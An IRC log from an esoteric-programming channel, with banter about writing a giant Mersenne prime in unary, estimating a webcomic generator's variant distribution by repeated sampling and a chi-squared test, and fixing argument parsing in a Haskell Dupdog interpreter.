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02:51:32 <Sgeo> kallisti has been updated.
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02:56:21 <kallisti> I see that the topic madness has gotten out of hand.
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06:13:55 <oklopol> thank you. but i would never sell my lambdabot so fuck off.
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06:15:56 <oklopol> why doesn't Do have a wiki page?
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06:19:38 <oklopol> http://www.vjn.fi/pb/p5855779463.txt here's the spec if someone wants to
07:03:08 <oklopol> or anyone who can call finland, i need to find my cellphone :D
07:19:52 <itidus21> considers typing (2^43,112,609)-1 in unary
07:21:19 <itidus21> 111111111111111111111111111111111111111111111111111111111111111111111111111111111111hi monqy1111111111111111111111111111[...]
07:21:45 <itidus21> 11111sorry this act is taking more time than i expected11111111111[...]
07:36:04 <fizzie> oklopol: Is this still RELEVANT. (I was getting to wurk.)
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09:56:25 <oklopol> fizzie: nope, it was hidden in my bed
09:56:35 <oklopol> (no idea how that's possible)
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10:03:02 <fizzie> I dreamed I bought an iPad. That's weird.
10:04:31 <Jafet> Freud something something
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10:55:09 <fizzie> Gbleh, peak low in Foreca's five-day forecast for here in Espoo is -27 °C. Brrr, winter.
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12:06:09 <ais523> happy mailman mailing list reminders day!
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12:15:34 <fizzie> Funny-story-time. I was google-mapsing the campus of this place I'll be visiting, and one building was marked "IMEC". Thought I'd click on it to see what it's about. Before I could click, however, up popped a tooltip that said only "The worst cafeteria in the world.", nothing else.
12:15:45 <fizzie> Apparently that's one of the "Google Reviews" for the place.
12:15:57 <fizzie> "8 out of 40 people found this review helpful."
12:21:49 <Phantom_Hoover> ais523, you know the horrors of MW template markup better than I.
12:22:37 <ais523> oh, it's just {{convert}}
12:22:53 <ais523> let's just say it's tagged {{esoteric}} for a reason
12:23:18 <ais523> but the template itself is basically just a jump table
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12:57:37 <oerjan> 07:19:52: <itidus21> considers typing (2^43,112,609)-1 in unary <-- you realize even binary will take months?
12:58:28 <itidus21> i guess its then a function of calculating the time to hold down the key
12:58:55 <oerjan> 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
12:59:08 <oerjan> that was 5 seconds on my keyboard
12:59:19 <oerjan> i guess there could be some network delay as well
12:59:48 <oerjan> > length "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
13:00:34 <oklopol> what does (2^43,112,609) mean
13:00:45 <oerjan> oklopol: freaky english notation
13:01:31 <oerjan> given the accuracy of my keyboard measurement, i don't think i'm going to worry about the minus one.
13:01:37 <oklopol> oh 2^(43,112,609)-1 where , means
13:02:06 <oerjan> yes, oklopol. how cosmopolitanly realized of you.
13:02:13 <fizzie> The standard AT keyboard controller can go up to 30.0 characters per second; though systems can nowadays do any sort of rate in software.
13:02:16 <oklopol> Deewiant: yeah so it means
13:02:22 <fizzie> That's not too far off from 126.
13:02:38 <itidus21> i was aware when i typed it that i should have just typed 43112609 to avoid regional diffeercnes
13:02:51 <itidus21> but i didn't cos i don't know those regional differences
13:03:11 <oerjan> well 126 means essentially 25
13:03:26 <itidus21> anyway oerjan, 20 days is because i came up with the efficient method of pre-calculating the key holding time
13:04:21 <itidus21> since it has to be exactly the right number of keypresses
13:05:24 <fizzie> The AT rate list is nonuniformly spaced; it's 2.0, 2.1, 2.3, 2.5, 2.7, 3.0, 3.3, 3.7, 4.0, 4.3, 4.6, 5.0, 5.5, 6.0, 6.7, 7.5, 8.0, 8.6, 9.2, 10.0, 10.9, 12.0, 13.3, 15.0, 16.0, 17.1, 18.5, 20.0, 21.8, 24.0, 26.7, 30.0. (But 1/rate is sort-of piecewise linear.)
13:05:39 <fizzie> Sparc systems go up to 50 cps, I remember that being SO FAST.
13:05:47 <fizzie> That's, like, ten days.
13:06:42 <oerjan> itidus21: tricky. but i guess editors can keep track of that.
13:07:02 <oerjan> assuming you find one which can handle lines that long.
13:07:23 <itidus21> oerjan: when i envisioned the idea initially i imagined the painstaking anxiety caused by looking at a stream of 1s and keeping count
13:07:50 <oerjan> itidus21: ah, inventing a new spot in hell, i take.
13:08:35 <oerjan> "OK, your punishment isn't eternal, you just have to type this number, correctly."
13:08:54 <itidus21> but sir.. this keyboard.. only has 1 ley
13:09:24 <itidus21> hmm i could allow for backspace and enter keys also
13:09:52 <oerjan> "no backspace, although if you make a mistake you may reboot"
13:11:09 <itidus21> i wonder if useful unary lambda calculus programs correlate with some category of numbers
13:13:08 <fizzie> perl -e 'print "0"x43112609;' > tmp.tmp; vi tmp.tmp; => "tmp.tmp" [noeol] 1L, 43112609C; but $ moves the cursor to column 43112609 with no problems, though it did spend quite a while thinking when loading the file.
13:13:35 <fizzie> And, uh, moving is quite laggy.
13:14:00 <oerjan> well a useful lambda calculus program pretty much has to begin with (, so what does that imply for the unary version?
13:14:44 <fizzie> "File tmp.txt is large (41MB), really open? (y or n)" -- heh, Emacs is being careful.
13:14:47 <itidus21> incidentally http://en.wikipedia.org/wiki/Largest_known_prime_number :P
13:15:13 <oerjan> ah right, it looked a little mersenny
13:15:17 <fizzie> Opens rather fast, though there's an almost-second delay when moving the cursor.
13:15:32 <itidus21> so yes.. you don't have to feel foolish for taking an interest in it
13:15:46 <ais523> fizzie: why are you editing a text file of 43112609 zeroes anyway? something to do with Unary?
13:16:37 <itidus21> oerjan: i don't have a clue really..... to me unary lambda calc is a magical idea
13:17:02 <oerjan> ais523: how did you get switched with Vorpal
13:17:03 <ais523> what's that esolang that's Unlambda except with no combinators?
13:17:14 <ais523> oerjan: Vorpal's started acting like me, anyway
13:17:46 <ais523> and the scrollback only implies that itidus21 is trying to enter 2^43112609-1, not why
13:17:53 <ais523> Phantom_Hoover: I didn't mean to say that
13:18:01 <ais523> I meant "has Vorpal started acting like me, then?"
13:18:03 <oerjan> ais523: he didn't explain that, i think
13:18:08 <ais523> and got confused midsentence
13:18:12 <itidus21> laughs aloud @ and the scrollback[...]
13:18:13 <oerjan> except with his last link maybe
13:18:27 <itidus21> the last link certainly didn't explain it!
13:18:36 <itidus21> nothing on earth could explain it
13:19:04 <fizzie> oerjan: According to Mathematics(TM), ais523 is the third-most-likely author for Vorpal-written text. (The first two most likely are Vorpal, and AnMaster.)
13:19:16 <itidus21> but on the last link theres a hint
13:19:18 <ais523> fizzie: is that just line length analysis?
13:19:34 <itidus21> it lists the number as having 12,978,189 digits
13:19:59 <itidus21> and i guess i thought to myself, that would be even worse in unary
13:20:06 <ais523> itidus21: careful with that @, it's going to get search-replaced some time in the future
13:20:09 <fizzie> ais523: No, it's from that thing which I pasted earlier, using the mixture-of-bernoulli models with different sort of binary features related to word length/line length/personal-pronoun-use/punctuation/whatever.
13:20:18 <ais523> I think I might have missed that
13:20:32 <ais523> who has the highest whatever score?
13:20:40 <itidus21> ahh ... so the number will have 2^43112609-1 unary digits !?!
13:20:43 <fizzie> It's the thing where you correctly divined that the "’m not in a mood for non-trivial INTERCAL program
13:21:03 <itidus21> i was thinking about how mathematical notation saves an awful lot of typing
13:21:05 <fizzie> Also apparently pasting from the slides was a bad idea, and what's that silly-apostrophe doing there.
13:21:58 <ais523> fizzie: looks like you pasted from a PDF
13:22:00 <itidus21> a kind of extension of some old chinese story about writing number 1 with one line, 2 with two lines, 3 with three lines, then someone asks him to write the character for 10,000
13:22:10 <itidus21> and he goes on trying to write ten thousand lines
13:22:17 <ais523> i.e. most of the characters are right, but special characters are swapped with different special characters, and line breaks appear in entirely the wrong places
13:22:19 <fizzie> ais523: For your comments, the three most likely authors are ais523, AnMaster, and oerjan, in that order.
13:22:35 <ais523> did you normalize away ais523_?
13:22:54 <itidus21> basically that the exponent notation is more than syntactic sugar
13:22:56 <fizzie> In the sense of disregarding it. This was a simple thing.
13:22:59 <ais523> (I'm actually curious as to whether I talk differently as ais523 and ais523_; I use the nicks in different circumstances)
13:23:09 <itidus21> but makes some numbers expressible which would not be readily cognizeable in unary form
13:23:25 <fizzie> I had AnMaster and Vorpal as separate entities, as well as ehird, elliott and alise.
13:23:55 <fizzie> And it correctly "found" those groupings, in the sense that they had relatively speaking highest mutual confusion potential there.
13:24:29 <fizzie> Though oerjan and oklopol are very much like one person, too. (Suspicious?)
13:25:06 <itidus21> ok in other words, its a lot easier to reason about 2^43112609-1 apples by using the text "2^43112609-1" than it is to actually produce 2^43112609-1 apples
13:25:34 <ais523> `addquote <itidus21> ok in other words, its a lot easier to reason about 2^43112609-1 apples by using the text "2^43112609-1" than it is to actually produce 2^43112609-1 apples
13:25:46 <HackEgo> 806) <itidus21> ok in other words, its a lot easier to reason about 2^43112609-1 apples by using the text "2^43112609-1" than it is to actually produce 2^43112609-1 apples
13:26:46 <itidus21> fizzie: i assume this room is not like that.
13:26:53 <itidus21> there will be hell to pay if it is
13:27:17 <itidus21> like counting to 2^43112609-1 in unary
13:27:31 <itidus21> like people using multiple personas to chat
13:28:22 <Phantom_Hoover> <fizzie> I had AnMaster and Vorpal as separate entities, as well as ehird, elliott and alise.
13:28:40 <HackEgo> 470) <itidus20> to assume that someone can be described by a rule without exception... is to assume they are omnipotent <oklopol> for instance stones are omnipotent, as they don't do anything, without exception \ 493) <itidus20> monqy: last night in my dreams I saw a false photo album of my childhood... looking ghostly \ 494) <monqy> itidus20: i saw a dancing cgi skeleton named malaria. i danced and played with him.
13:28:53 <Phantom_Hoover> Have you compared Phantom_Hoover, Phantom__Hoover and Phantom___Hoover to see if the stress of my router hating me takes its toll?
13:29:20 <itidus21> 2^43112609-1 was the first discovered "prime number of over 10 million digits."
13:29:29 <HackEgo> Phantom___Hoover ? ¯\(°_o)/¯
13:29:48 <HackEgo> Phantom___Hoover sucks at ghosting himself.
13:30:01 <oerjan> oh right, it wasn't that command i fixed the issue for
13:30:47 <itidus21> oklopol: but stones decay eventually
13:31:14 <oerjan> it's a little crazy that they haven't found any efficient-to-calculate formula which gives unbounded prime numbers
13:31:25 <itidus21> i forget where that conversation went
13:31:34 <fizzie> Prime numbers are a little crazy... aw, snap.
13:32:02 <Phantom_Hoover> I mean, they have such a stupidly simple method of generation, and yet they don't submit to any easy form of analysis at all.
13:32:24 <oerjan> you know there are heaps of them, and approximately how many, but pinning down one of large size is still a hard problem
13:32:40 <oerjan> *how many in each interval
13:33:20 <fizzie> Also there's the prime directive, which forbids you from bringing information about large-valued primes into societies that have not yet found primes of equal magnitude. Or something like that, anyway.
13:37:20 <oerjan> i saw yesterday something relevant at http://www.mezzacotta.net/postcard/about.php, but you'll have to reload until you see something about WOW! signal, as i have no idea how to link to a specific one
13:37:26 <oerjan> and it's too long to paste
13:40:30 <fizzie> http://sprunge.us/VdbI in case someone doesn't feel like reloading.
13:40:54 <ais523> fizzie: thanks: I was trying to find it by reloading but haven't yet
13:41:22 <fizzie> (Also there's a wikilink to the Wow! signal that got dropped by the pasteying.)
13:41:45 <oerjan> i spent a while reloading it yesterday and i'm _still_ not entirely sure i got all of them. almost sure, though.
13:44:59 <ais523> oerjan: mathematically it's impossible to ever be sure
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13:45:21 <ais523> and given that you can't even assume they all have the same probability, you can't even know the probability that you've seen them all
13:45:53 <oerjan> indeed, i got this sense some were more often than others
13:46:38 <oerjan> of course mathematically i cannot be sure of that, either :P
13:47:25 <fizzie> Stop talking like that or you'll make me ten thousand samples to get some estimates.
13:47:39 <ais523> this is what null hypotheses were invented for!
13:47:58 <ais523> actually, if you refresh it often enough, DMM will probably get fed up with the server load and outright tell you the probabilities
13:48:02 <oerjan> see fizzie become the first person ever banned from mezzacotta. well i guess there will have been spammers.
13:48:26 <oerjan> i _guess_ you could also ask in the forum.
13:48:35 <fizzie> I was thinking of having a ten second interval, that's not much of a load, and will take 10k samples in a day and a bit.
13:50:13 <oerjan> i don't recall ever seeing spam on the forum, come to think of it. but then i read it in twice-weekly bursts.
13:53:05 <fizzie> Distribution at 10 samples: http://sprunge.us/BGEZ
13:53:22 <fizzie> (The value is the sha1sum of the returned page.)
13:53:51 <fizzie> Clearly 421... is three times more likely than 0b5...
13:54:11 <oerjan> i'm pretty sure there are more than 10 versions :P
13:54:29 <fizzie> I've gotten 11 versions in 20 samples.
13:56:32 <fizzie> Did you count how many you found?
13:56:50 <fizzie> Uh, now it's back to 11.
13:57:14 <fizzie> Must have been sha1sum that read an incomplete copy.
14:00:05 <fizzie> http://sprunge.us/VIYV ... looks reasonably uniform so far... in fact, one might say it looks SUSPICIOUSLY uniform. Hmm.
14:02:35 <ais523> too early to tell, really
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14:16:59 <oerjan> hm, i realize i may have overestimated by confusing it with reloadings of the FAQ, as well
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14:19:01 <oerjan> fizzie: actually i cannot seem to get the 11th one :P
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14:24:07 <fizzie> If X is a uniformly distributed integer 0 .. 10, and Y the sequence formed by repeatedly sampling from X until Y contains each integer 0 .. 10 at least once, what's the expected length of Y?
14:24:30 <oerjan> aliens from Xabaduni IV; three golfers from Maine; Guernsey Comics Collective; Wow! signal; ancient Sumerian clay tablets; IP address Langerhans Islets; Edgar Planer; After representations received on behalf of; How awesome would it be if someone produced a webcomic without the comic?; John Lennon and Paul McCartney; As reviewed by TV Tropes:
14:25:00 <oerjan> the last two held out a _long_ time
14:26:19 <oerjan> hm i'm pretty sure that's a common chestnut/exercise
14:27:38 <fizzie> http://sprunge.us/gUOf <- I have these eleven.
14:28:20 <fizzie> Do two start similarly or something?
14:30:10 <oerjan> no, i think you are missing one of Edgar Planer or three golfers from Maine
14:30:14 <oerjan> unfortunately my descriptions don't all start at the beginning
14:31:29 <oerjan> while the other one is your "In the mid-1990s, one of the"
14:32:07 <oerjan> which i _think_ is edgar planer, which is strange since i thought i got the golfers all the time
14:32:40 <fizzie> Oh, it's just the "get the first line" grep acting up.
14:33:53 <fizzie> It starts "<i>COAP</i> started ..." and that got removed by a "remove-the-<h2>-and-<p>-lines" bit.
14:34:06 <fizzie> Because it matches ^<.
14:35:42 <fizzie> I wouldn't put it past DMM/whoever to have one extra-rare reply; let's hope my ten thousand attempts are enough for it to show up.
14:37:16 <oerjan> > let e 1 = 1; e n = 1 + n/(n-1) * e (n-1) in e 11
14:38:26 <fizzie> > let e 1 = 1; e n = 1 + n/(n-1) * e (n-1) in e 2
14:38:32 <fizzie> Well, it sounds so reasonable.
14:38:55 <oerjan> well your first try will always be a new item. and every try after that has (n-1)/n chance of not being the same as the first, which essentially rescales the expectation for n-1. i think.
14:40:49 <fizzie> Okay. (And what's the distribution for the length?)
14:45:09 <fizzie> That's all right; it doesn't count as a question anyway since I didn't formulate it in terms of balls and urns.
14:46:30 <oerjan> i'm looking at wikipedia's probability distributions template and none of them are obviously relevant.
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15:04:20 <fizzie> Just look for something that has k!/(k^k) as the first nonzero value, I'm sure it's that. :p
15:05:53 <fizzie> Humorously, I tried a Google search for "k!/(k^k)" (with quotes), and the first hit is "KKK: Ku Klux Klan, this one's for you!"
15:06:01 <oerjan> geometric distribution : binomial distribution :: ? : multinomial distribution
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15:07:22 <oerjan> oh finally, http://en.wikipedia.org/wiki/Coupon_collector%27s_problem
15:07:39 <oerjan> i couldn't remember the name
15:08:45 <oerjan> but it was mentioned at the bottom of the geometric distribution article
15:13:54 <fizzie> Very good. I won't subtract points for the fact that there's only E(T) and Var(T) there, not a simple equation for P(T=t), on grounds of there also being a link to a nice generating-function approach for getting those E(T) and Var(T).
15:14:20 <ais523> hmm, mezzacotta's comic generator seems to have got better
15:14:36 <ais523> in particular, the participants in each comic seem to react to each other now, if only at a rudimentary level
15:14:46 <oerjan> ais523: erm they always have
15:14:57 <ais523> oerjan: nah, at the very start they didn't
15:15:03 <ais523> it was just two independent conversations interleaved
15:17:07 <oerjan> if you say so. i recall them saying that they haven't made the generator possible to change without wiping out all the old comics
15:18:03 <oerjan> as in, comics that haven't been watched in a while drop out of cache and get regenerated
15:20:46 <ais523> oerjan: hmm, but they've definitely added new characters
15:20:59 <ais523> so either they just wipe out the old comics and nobody notices, or they use the old generator on previously visited comics
15:21:10 <ais523> they wouldn't have to record the comics themselves, just the fact that they existed at one time
15:21:32 <oerjan> if they changed anything, it was _very_ early.
15:22:20 <ais523> well, I was around pretty much at the start
15:22:26 <ais523> it got mentioned on-channel
15:22:30 <ais523> and then I stopped reading it for years
15:24:03 <oerjan> http://www.irregularwebcomic.net/draakslair/viewtopic.php?t=5891
15:24:41 <oerjan> "There's no versioning, so we can't change the algorithm, otherwise the hashes would produce different comics. Which is good and bad. Bad in that we can't improve the algorithms, good in that we can't improve the algorithms (and therefore don't spend inordinate amounts of our spare time doing so, which leaves us free to do other stuff, like Darths & Droids)."
15:25:58 <oerjan> the belief that they've added new characters _could_ just be the coupon collector's problem hitting :P
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15:27:38 <oerjan> the only exception i recall is that they once changed it entirely for April 1.
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15:29:02 <oerjan> or at least his client.
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17:32:22 <Vorpal> ...how can a display driver download be 148 MB? That is quite insane.
17:33:21 <Slereah_> Because software programmers have stopped caring, maybe
17:33:30 <Slereah_> "Everyone has awesome computers now, no need to bother!"
17:34:02 <Vorpal> well, the computer I'm installing it on is indeed awesome
17:35:16 <Vorpal> btw that is the windows display drivers, clicking custom installation reveals that the control panel component of it takes 150 MB of disk space.
17:35:50 <Slereah_> I guess the same reason that firefox is now OVER A GIGABYTE
17:36:17 <Vorpal> hm ubuntu claims 40 MB
17:36:40 <Vorpal> Slereah_, that is a windows problem :P
17:36:50 <Slereah_> Firefox was at an installed size of 1.20 GB or so
17:37:25 <Slereah_> I guess I could go with some lame "I probably got some malwares" excuse
17:37:33 <Slereah_> But 1 GB sounds like a lot even for that
17:37:48 <Vorpal> I blame it being windows
17:37:59 <Slereah_> For 1GB I would hope at least to be monitored by the FBI
17:38:08 <Slereah_> Well I'm on windows now, and it's not!
17:38:24 <Vorpal> Slereah_, the other day windows decided that the experience index thingy was up to date but it refused to show the value
17:38:58 <Vorpal> that was 64-bit win7 pro btw
17:39:03 <Gregor> Hey folks I made an awesome new whatever it is that I make go download it it's 15GB
17:39:32 <Vorpal> Gregor, hm, almost as large as my last panorama ;)
17:40:28 <Vorpal> (actually, I can't upload the panoramas I make as I would like them, I have to apply jpeg compression to get them down to reasonable sizes of 20-30 MB...)
17:41:23 <Gregor> So I bought a pair of wireless headphones because I keep on breaking headphones by stepping on the wires 'til I break something.
17:41:35 <Vorpal> (there was one recently that when saved as a tiff with deflate compression (which is what hugin outputs) was about 370 MB)
17:41:38 <Gregor> I was trying to figure out how to network the audio so I could just leave the base station attached to my desktop (since moving it defeats the purpose)
17:41:52 <Gregor> I eventually discovered it's easier to network video, even while playing a movie, than audio.
17:42:14 <Vorpal> how do you mean it is easier to do network audio than audio?
17:42:28 <Gregor> <Gregor> I eventually discovered it's easier to network VIDEO, even while playing a movie, than audio.
17:42:58 <Vorpal> btw, I'm curious, how is the sound quality with wireless headphones?
17:43:06 <Vorpal> (are they bluetooth based or?)
17:44:49 <Gregor> They're RF and probably quite interceptable, but the sound quality has been fine. I noticed I had to turn up the audio all the way on the desktop and turn it down to a reasonable level on the headphones or I start to get static, but it's not noticeable once the levels are adjusted properly.
17:45:04 <Gregor> Sometimes when there's no other sound I can hear a bit of interference.
17:45:19 <Vorpal> that would annoy the hell out of me
17:45:37 <Vorpal> what about battery time?
17:46:36 <Gregor> I've only had them for a day, and they recharge in the base station so I don't really have any basis for judgement.
17:46:46 <Gregor> They just have two rechargeable AAA batteries.
17:48:48 <Vorpal> Gregor, hm you know the power connectors on modern apple laptops? they should use that for headphone cables...
17:49:52 <Gregor> I feel that both ends are the problem for me. I step on the damned cable while I'm wearing them ... and my cat attacks the cable too ...
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18:05:46 <fizzie> Vorpal: Nvidia's "unified driver" is big partially because it supports so many different cards. But of course also partially because bloatiness.
18:06:16 <fizzie> Also cats and headphone cables are indeed not a good equation.
18:06:54 <fizzie> Vorpal: Incidentally, someone ported robotfindskitten to that Lego Mindstorm NXT thing. http://robotfindskitten.org/aw.cgi?main=news.rfk
18:07:04 <fizzie> Based on the name, someone Finnish. Or at least of Finnish ancestry.
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18:19:32 <Slereah_> You know what the worst error message is?
18:19:41 <Slereah_> "Can't move this file because the filename is too long"
18:19:53 <Slereah_> When you're moving a folder with a few thousand files in it
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18:41:54 <fizzie> @tell oerjan At the moment, when 1640 samples have been taken, given the null hypothesis that the 11 variants are uniformly distributed, according to Pearson's chi-squared test, the p-value is 0.42, i.e. the deviation is not statistically significant. (But that's frequentist talk!)
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19:40:38 <Ngevd> My internet connection is rather slow
19:42:38 <fizzie> Fortunately, there's nothing useful in the Internet either.
19:43:02 <Ngevd> Although apparently stable?
19:46:04 <Ngevd> It's been over a minute, I suspect I may have lost connection
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20:41:14 -!- oerjan has set topic: ,[.,]!elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY..
20:42:31 <lambdabot> fizzie said 2h 36s ago: At the moment, when 1640 samples have been taken, given the null hypothesis that the 11 variants are uniformly distributed, according to Pearson's chi-squared test, the p-
20:42:31 <lambdabot> value is 0.42, i.e. the deviation is not statistically significant. (But that's frequentist talk!)
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20:46:28 <oerjan> <Vorpal> (actually, I can't upload the panoramas I make as I would like them, I have to apply jpeg compression to get them down to reasonable sizes of 20-30 MB...)
20:47:07 <oerjan> wasn't someone around here experimenting with lossless settings for some common image or video compression? i think maybe pikhq
20:47:42 <oerjan> it was years ago, though
20:48:05 <oerjan> and i think the conclusion was it wasn't half bad
20:51:20 <oerjan> conclusion: people get nicer when you murder them in their sleep.
20:52:08 <quintopia> yeah that zombie thing was way off
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20:52:31 <Ngevd> Just written a quick Dupdog interpreter in Haskell
20:53:06 <Ngevd> The main function:
20:53:17 <Ngevd> main = runProg True $ fmap (Prog "") $ join $ fmap (lookup . map (uncurry (flip (,)))) getEnvironment
20:54:13 <oerjan> Ngevd: join . fmap f is known as f =<<
20:54:15 <Ngevd> main = runProg True $ fmap (Prog "") $ join $ fmap (maybe getContents readFile . lookup . map (uncurry (flip (,)))) getEnvironment
20:54:25 <Ngevd> oerjan, that's probably handy
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20:57:20 <oerjan> @pl join $ fmap (maybe getContents readFile . lookup . map (uncurry (flip (,)))) getEnvironment
20:57:21 <lambdabot> maybe getContents readFile . lookup . map (uncurry (flip (,))) =<< getEnvironment
20:57:45 <lambdabot> forall a b. (Eq a) => a -> [(a, b)] -> Maybe b
20:58:19 <oerjan> @hoogle getEnvironment
20:58:20 <lambdabot> System.Environment getEnvironment :: IO [(String, String)]
20:58:20 <lambdabot> System.Posix.Env getEnvironment :: IO [(String, String)]
20:58:20 <lambdabot> System.Posix.Env getEnvironmentPrim :: IO [String]
20:59:39 <Ngevd> main = runProg True $ fmap (Prog "") $ maybe getContents readFile . lookup "" . map (uncurry (flip (,))) =<< getEnvironment
20:59:43 <Ngevd> I made a few typos as well
21:00:07 <oerjan> erm, why would you lookup "" in that
21:00:28 <Ngevd> Because that finds a key without a value
21:01:18 <oerjan> why in the world would you use that to get a filename?
21:01:23 <Ngevd> Because getEnvironment should return something like IO [("wrap","157"),("filename")]
21:01:28 <Ngevd> Because I'm magical
21:01:37 <Ngevd> And don't have a clue what I'm doing
21:02:08 <oerjan> what is wrong with using getArgs
21:02:14 <lambdabot> System.Environment getArgs :: IO [String]
21:02:15 <lambdabot> Graphics.UI.GLUT.Initialization getArgsAndInitialize :: IO (String, [String])
21:03:22 <oerjan> :t head . (++ [getContents]) . map readFile
21:03:30 <oerjan> :t head . (++ [getContents]) . map readFile =<< getArgs
21:03:41 <oerjan> :t head . (++ [getContents]) . map readFile =<< System.Environment.getArgs
21:04:45 <oerjan> naturally i'd use a case in practice myself
21:06:33 <oerjan> oh hm you have other flags too
21:07:33 <Ngevd> It doesn't handle ending very well
21:07:57 <fizzie> [("wrap","157"),("filename")] sounds like quite a "special" sort of list.
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21:09:05 <oerjan> come back you scoundrel
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21:09:12 <oerjan> Ngevd: are you trying to parse the command line? because that is _not_ what getEnvironment does.
21:09:35 <Ngevd> No, I'm trying to parse the arguments?
21:09:39 <fizzie> I suppose there's something getopt-like in there too?
21:09:41 <lambdabot> System.Console.GetOpt getOpt :: ArgOrder a -> [OptDescr a] -> [String] -> ([a], [String], [String])
21:09:41 <lambdabot> System.Console.GetOpt getOpt' :: ArgOrder a -> [OptDescr a] -> [String] -> ([a], [String], [String], [String])
21:09:41 <lambdabot> System.Console.GetOpt module System.Console.GetOpt
21:10:05 <Ngevd> If a file name is provided in the arguments, it loads the file, otherwise it uses the command line
21:10:07 <oerjan> Ngevd: the command line arguments? my point still remains.
21:10:54 <oerjan> and yes, getOpt can be used for this.
21:10:56 <Ngevd> Oh dear god you're right
21:11:01 <fizzie> oerjan: Maybe if he wants the program to be called as "wrap=123 thingie" instead of "thingie --wrap 123".
21:11:15 <oerjan> fizzie: that would be _possible_ of course :P
21:11:30 <oerjan> but i had a hunch that's not what he wanted.
21:11:58 <Ngevd> fizzie, that is exactly what I wanted
21:12:34 <fizzie> Here 'thingie' was your program, incidentally.
21:12:59 <oerjan> _not_ the dupdog program, but the interpreter
21:13:20 <Ngevd> That's not what I want
21:13:22 <fizzie> I'm not exactly sure how you wanted the filename thing to go in, since I doubt you can set "the environment variable with no name".
21:13:40 <Ngevd> fizzie, I did with my latin vocab program?
21:13:50 <oerjan> fizzie: um he's looking up for no _value_, not name.
21:14:14 <fizzie> oerjan: Oh, there's a flip in there somewhere? Okay then; though I suppose there might be several.
21:14:33 <fizzie> getArgs sounds like it has absolutely zero things in common with the environment variables.
21:14:38 * oerjan is still confused what Ngevd actually wants.
21:14:39 <oerjan> Ngevd: how would you write a complete command line for calling your interpreter with wrap and filename settings?
21:14:51 <oerjan> *would you like to write
21:14:59 <Ngevd> dupdog hello.dupdog wrap=157
21:15:05 <monqy> why do you want that??
21:15:19 <Ngevd> And it made sense at the time
21:15:25 <Ngevd> And I don't know what the convention is
21:15:36 <Ngevd> ...What's the convention?
21:15:39 <oerjan> Ngevd: hm ok. dupdog hello.dupdog --wrap 157 would be easier to convinve getOpt to do, i think.
21:16:05 <kmc> the 'cmdargs' package is a much nicer way to parse command line arguments in haskell
21:16:07 <kmc> compared to getopt
21:17:03 <kmc> it's well documented too
21:17:23 <fizzie> Plain getArgs would give you ["hello.dupdog", "wrap=157"], which isn't too hard to parsemate, while I suppose getEnvironment would give you something like [("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"), ("HOSTNAME", "something"), ("HOME", "/home/something"), ...].
21:17:47 <Ngevd> I misunderstood the function and never actually tested it
21:18:10 <oerjan> ["hello.dupdog", "--wrap", "157"] is even easier to parse
21:18:16 <kmc> also «IO [("wrap","157"),("filename")]» is not a thing ;P
21:19:37 <fizzie> Anyhoo, dashes is indeed the most common convention. Though there certainly are commands that take "foo=bar" options. 'dd' comes to mind.
21:20:03 <fizzie> Everyone hates dd for being different, though.
21:20:41 <oerjan> (that needs only pattern matching, no breaking up of substrings. well i guess you _could_ do 'w':'r':'a':'p':'=':wrapping)
21:20:48 <Ngevd> kmc, I was trying for IO [("wrap","157"),("filenam","")]
21:24:19 <kmc> that is also not a thing
21:24:42 <kmc> IO is a type constructor, not a data constructor
21:24:54 <kmc> (except at the GHC implementation level, but that data constructor does something completely different and unreasonable)
21:25:18 <kmc> a value of type (IO T) is not a value of type T "tainted" by the fact that it's "in IO"
21:25:49 <kmc> it's a description of an imperative program which, if executed, *would* produce a value of type T
21:25:56 <kmc> there is no T inside
21:31:13 <oerjan> getOpt Permute [Option "" ["wrap"] (ReqArg id "wrapping size") "wrapping size" `fmap` getArgs
21:31:29 <oerjan> getOpt Permute [Option "" ["wrap"] (ReqArg id "wrapping size") "wrapping size"] `fmap` getArgs
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22:26:47 <Taneb> Just flying around to say look at this crap: http://hpaste.org/57301
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22:44:40 <oerjan> @tell Taneb er... Dupdog is not supposed to have a program pointer, you always take the first character. Also your eval' is an infinite recursion (hint: unless you are writing generic combinators, a function argument with IO type is usually a mistake.)
22:49:47 <oerjan> @tell Taneb also, fail "Error: check the wrapping size you gave is a valid number." is misleading - nothing will check if the number is valid by that point.
22:58:01 <oerjan> @tell Taneb I can see how "The next character is read" might give you that impression though - but note that (I clearly recall) the initial inspiration for dupdog was the idea of two irc bots reacting to each other's lines as entirely new commands, for which such a remembering of position doesn't make sense.
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23:40:10 <fizzie> @tell oerjan Hmm, that's funny... if I calculate the chi^2-score right, after 3370 samples I could say the distribution is in fact *not* uniform, at p=0.03, i.e. that the probability for getting at least as non-uniform results if they were actually from a uniform distribution is just 0.03.
23:40:31 <fizzie> @tell oerjan I might be calculating it wrong, though.
23:41:48 <fizzie> Oh, uh, right, maybe the @tell bit was a bit...
23:41:48 <lambdabot> fizzie: You have 1 new message. '/msg lambdabot @messages' to read it.
23:42:06 <lambdabot> Maybe you meant: messages messages?
23:42:21 <fizzie> Oh, it's just *you*. :( :( :(
23:43:00 <fizzie> I'm thinking "@message" should also work, but only in the case where you actually do have a single message.
23:43:32 <oerjan> fizzie: is 3370 how much you have in total?
23:43:58 <fizzie> Yes. Well, it's 3406 now.
23:44:41 <oerjan> what's the ratio of largest to smallest item?
23:45:24 <oerjan> that's not overly large :P
23:45:35 <fizzie> 376/289, to be more exact.
23:45:54 <oerjan> too small to be an intended difference, me thinks
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00:01:05 <fizzie> Current counts, FWIW: http://sprunge.us/aaSI
00:01:52 <fizzie> Also fi:aasi = en:donkey.
00:03:13 <oerjan> don't be an ass about it
00:04:06 <ion> fi:perse ≠ en:per se
00:05:41 <ais523> fizzie: heh, I didn't really expet your script to be running that long
00:05:54 <ais523> and, hmm, that's an interesting distribution
00:06:00 <ais523> not sure if I'd expect that from a uniform distribution or not
00:06:23 <fizzie> If I compute the chi2 statistic right, you probably shouldn't.
00:07:05 <fizzie> (You should expect only three out of each hundred uniform distributions to be that out of whack.)
